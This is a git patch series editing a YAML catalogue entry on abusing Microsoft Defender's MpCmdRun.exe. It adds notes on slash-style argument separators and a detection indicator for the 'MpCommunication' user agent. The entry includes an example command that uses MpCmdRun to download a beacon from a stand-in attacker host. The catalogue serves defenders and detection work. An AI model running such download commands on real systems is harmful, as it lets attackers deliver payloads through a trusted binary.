From 3078cc3755ff80e33a634ad812791ffa0c2dc261 Mon Sep 17 00:00:00 2001 From: Rich Rumble Date: Thu, 3 Sep 2020 10:39:24 -0400 Subject: [PATCH 1/2] Update MpCmdRun.yml Added note that slashes (/) can also be used as command separators, and that the UA is MpCommunication Thanks! --- yml/OSBinaries/MpCmdRun.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/yml/OSBinaries/MpCmdRun.yml b/yml/OSBinaries/MpCmdRun.yml index 630d802..fa85c4b 100644 --- a/yml/OSBinaries/MpCmdRun.yml +++ b/yml/OSBinaries/MpCmdRun.yml @@ -5,6 +5,7 @@ Author: 'Oddvar Moe' Created: '09/03/2020' Commands: - Command: MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\\temp\\beacon.exe + Note: Slashes work as command line argument seperators /Downloadfile, /url, /path, as well as mixing dash and slash Description: Download file to specified path Usecase: Download file Category: Download @@ -31,6 +32,7 @@ Detection: - IOC: MpCmdRun getting a file from a remote machine or the internet that is not expected. - IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching mpcmdrun.exe. - IOC: Monitor for the creation of %USERPROFILE%\AppData\Local\Temp\MpCmdRun.log + - IOC: User Agent is "MpCommunication" Resources: - Link: https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/command-line-arguments-microsoft-defender-antivirus - Link: https://twitter.com/mohammadaskar2/status/1301263551638761477 From 1b00b374b316576c4772f569a4ffad2cec6ca69b Mon Sep 17 00:00:00 2001 From: Rich Rumble Date: Thu, 3 Sep 2020 11:46:25 -0400 Subject: [PATCH 2/2] Updated per suggestion Thanks! --- yml/OSBinaries/MpCmdRun.yml | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/yml/OSBinaries/MpCmdRun.yml b/yml/OSBinaries/MpCmdRun.yml index fa85c4b..160c771 100644 --- a/yml/OSBinaries/MpCmdRun.yml +++ b/yml/OSBinaries/MpCmdRun.yml @@ -5,8 +5,7 @@ Author: 'Oddvar Moe' Created: '09/03/2020' Commands: - Command: MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\\temp\\beacon.exe - Note: Slashes work as command line argument seperators /Downloadfile, /url, /path, as well as mixing dash and slash - Description: Download file to specified path + Description: Download file to specified path - Slashes work as well as dashes (/DownloadFile, /url, /path) Usecase: Download file Category: Download Privileges: User @@ -43,4 +42,6 @@ Acknowledgement: Handle: '@mohammadaskar2' - Person: Oddvar Moe Handle: '@oddvarmoe' + - Person: RichRumble + Handle: '' ---